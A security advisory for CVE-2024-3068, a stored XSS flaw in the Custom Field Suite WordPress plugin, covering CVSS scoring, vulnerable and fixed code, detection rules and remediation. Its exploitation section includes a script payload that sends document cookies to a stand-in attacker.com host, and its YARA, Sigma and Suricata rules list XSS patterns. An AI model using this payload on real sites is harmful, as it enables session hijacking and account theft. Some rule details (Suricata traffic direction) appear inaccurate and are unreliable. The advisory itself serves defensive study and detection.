CVE-2024-3068

Executive Summary

CVE-2024-3068 is a Stored Cross-Site Scripting (XSS) vulnerability in the Custom Field Suite plugin for WordPress, affecting all versions up to and including 2.6.5. The flaw resides in the cfs[fields][*][name] parameter, where insufficient input sanitization and output escaping allow authenticated attackers with administrator-level access to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is exploitable only on multi-site installations or where unfiltered_html has been disabled. With a CVSS score of 4.4 (Medium), the risk is elevated in shared hosting or multi-tenant WordPress environments. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

Supply Chain & Package Security

This vulnerability affects the Custom Field Suite WordPress plugin, distributed via the official WordPress plugin repository. As a third-party component, it introduces supply chain risk: site administrators must manually update or remove the plugin. No package manager (e.g., Composer) is involved, but the plugin’s codebase is directly embedded in WordPress installations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.4 (Medium)
• Attack Vector (AV): Network – exploitation is possible remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): High – attacker needs admin-level access.
• User Interaction (UI): Required – victim must visit the injected page.
• Scope (S): Changed – impact extends beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure.
• Integrity (I): Low – limited script injection.
• Availability (A): None – no denial-of-service impact.

Threat Level: Medium. The requirement for admin privileges reduces exploitability, but in multi-site environments, a compromised admin account can lead to widespread XSS across subsites.

Deep Dive & Mechanics

The vulnerability exists in the Custom Field Suite plugin’s handling of field names during field creation or editing. The cfs[fields][*][name] parameter is not properly sanitized or escaped before being stored and later rendered in the WordPress admin panel or frontend. When an administrator creates or updates a custom field with a malicious payload in the name field, the payload is stored in the database. Upon subsequent page loads (e.g., viewing the field list or editing a post), the unsanitized name is output directly into HTML, executing the injected JavaScript.

Root Cause: The plugin uses esc_attr() or similar escaping inconsistently, or fails to escape the field name in all output contexts. The unfiltered_html capability, when enabled, allows administrators to bypass sanitization, but when disabled (common in multi-site), the plugin’s own insufficient filtering is exposed.

Attack Flow:

1. Attacker gains admin access (e.g., via credential theft or privilege escalation).
2. Attacker navigates to Custom Field Suite → Add New Field Group.
3. In the field name input, attacker injects: <script>alert('XSS')</script>.
4. The payload is stored in the wp_postmeta table.
5. When any user (including lower-privileged users) views the field group or a post using that field, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.6.5): In cfs.php or field rendering functions, the field name is output without escaping:

echo '<input type="text" name="cfs[fields][' . $field['name'] . ']" value="' . $field['value'] . '" />';

Here, $field['name'] is directly concatenated into the HTML attribute without esc_attr().

Patched Code (hypothetical fix):

echo '<input type="text" name="cfs[fields][' . esc_attr( $field['name'] ) . ']" value="' . esc_attr( $field['value'] ) . '" />';

Additionally, output should be escaped with esc_html() or wp_kses_post() depending on context.

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit exists, manual exploitation is required. Use a WordPress admin session to inject XSS via the field name.

Step-by-Step:

1. Log in as an administrator on a WordPress multi-site installation.
2. Navigate to Custom Fields → Add New.
3. In the Field Name input, enter: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
4. Save the field group.
5. Trigger the payload by visiting any page that displays the field (e.g., post editor or field list).

Lab Setup:

• Install WordPress 6.x with Custom Field Suite 2.6.5.
• Enable multi-site mode or disable unfiltered_html for administrators.
• Use a browser with developer tools to confirm script execution.

Blue Team (Detection & Hardening)

• Monitor Admin Activity: Log all field creation/modification events. Alert on suspicious field names containing <script>, onerror, or javascript:.
• WAF Rules: Block requests to /wp-admin/admin-ajax.php or field saving endpoints with XSS payloads in cfs[fields][*][name].
• User Education: Restrict admin access to trusted users only. Disable unused admin accounts.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/admin-ajax.php with action=cfs_save and cfs[fields][*][name] containing <script> tags.
• Host: Database entries in wp_postmeta where meta_key contains cfs_fields and meta_value includes <script>.
• File: Modified plugin files (e.g., cfs.php) with injected code (though unlikely for stored XSS).
• Logs: WordPress debug logs showing wp_kses failures or unexpected HTML in field names.

Detection Engineering

YARA Rule

rule CVE_2024_3068_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Custom Field Suite plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3068"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /onerror\s*=/i
        $payload3 = /javascript\s*:/i
    condition:
        any of ($payload*) and filesize < 10MB
}

Sigma Rule

title: Custom Field Suite Stored XSS Detection
id: cve-2024-3068-sigma
status: experimental
description: Detects attempts to exploit CVE-2024-3068 via admin field creation
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=cfs_save'
        cs-uri-query|contains: 'cfs[fields]'
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate admin field creation with benign HTML
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-3068 Custom Field Suite Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=cfs_save"; http_client_body;
    content:"cfs[fields]"; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-3068;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: If not critical, deactivate and delete the Custom Field Suite plugin.
2. Restrict Admin Access: Limit administrator accounts to trusted users only. Use role-based access control.
3. Enable unfiltered_html: In single-site installations, enable unfiltered_html for administrators (note: this reduces security but prevents the XSS vector).
4. Web Application Firewall (WAF): Deploy rules to block XSS payloads in cfs[fields][*][name] parameters.

Long-Term Fix:

• Monitor the plugin repository for an official patch. If none appears, consider forking the plugin and applying the escaping fix described in the Vulnerable vs. Patched Code section.
• Replace the plugin with an alternative (e.g., Advanced Custom Fields) that is actively maintained.

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